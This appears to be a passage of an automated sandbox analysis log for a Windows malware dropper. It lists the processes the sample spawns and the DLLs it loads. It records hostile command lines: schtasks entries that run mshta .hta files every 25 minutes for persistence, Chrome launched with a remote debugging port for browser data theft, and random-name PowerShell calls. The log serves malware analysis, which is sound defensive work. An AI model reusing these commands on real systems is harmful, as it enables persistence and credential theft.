Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe "C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe"
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process created: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe "C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe"
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 912
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe "C:\Users\user~1\AppData\Local\Temp\1038908001\bKIFsVe.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7EA0.tmp\7EB1.tmp\7EB2.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe" any_word
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\842E.tmp\842F.tmp\8430.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" any_word
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe "C:\Users\user~1\AppData\Local\Temp\1039079001\b2ee16741f.exe"
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2696 --field-trial-handle=2628,i,12236154864651446305,11948842674796817194,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "TFEmhma7T5L" /tr "mshta \"C:\Temp\2alGwEWbJ.hta\"" /sc minute /mo 25 /ru "user" /f
Source: unknown	Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE "C:\Temp\2alGwEWbJ.hta"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe "C:\Users\user~1\AppData\Local\Temp\1039112001\fe4d890d0f.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "xDvMwmaSqhU" /tr "mshta \"C:\Temp\Pn8FljxwM.hta\"" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: unknown	Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE "C:\Temp\Pn8FljxwM.hta"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe "C:\Users\user~1\AppData\Local\Temp\1034725001\oavvDqT.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe "C:\Users\user~1\AppData\Local\Temp\1034761001\13Z5sqy.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe "C:\Users\user~1\AppData\Local\Temp\1037345001\usPaQ3D.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe "C:\Users\user~1\AppData\Local\Temp\1038070001\WZMQlGj.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe "C:\Users\user~1\AppData\Local\Temp\1038359001\oldVNC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe "C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe "C:\Users\user~1\AppData\Local\Temp\1038908001\bKIFsVe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe "C:\Users\user~1\AppData\Local\Temp\1039079001\b2ee16741f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe "C:\Users\user~1\AppData\Local\Temp\1039112001\fe4d890d0f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process created: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe "C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe"
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7EA0.tmp\7EB1.tmp\7EB2.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe" any_word
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\842E.tmp\842F.tmp\8430.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "xDvMwmaSqhU" /tr "mshta \"C:\Temp\Pn8FljxwM.hta\"" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" any_word
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "TFEmhma7T5L" /tr "mshta \"C:\Temp\2alGwEWbJ.hta\"" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2696 --field-trial-handle=2628,i,12236154864651446305,11948842674796817194,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
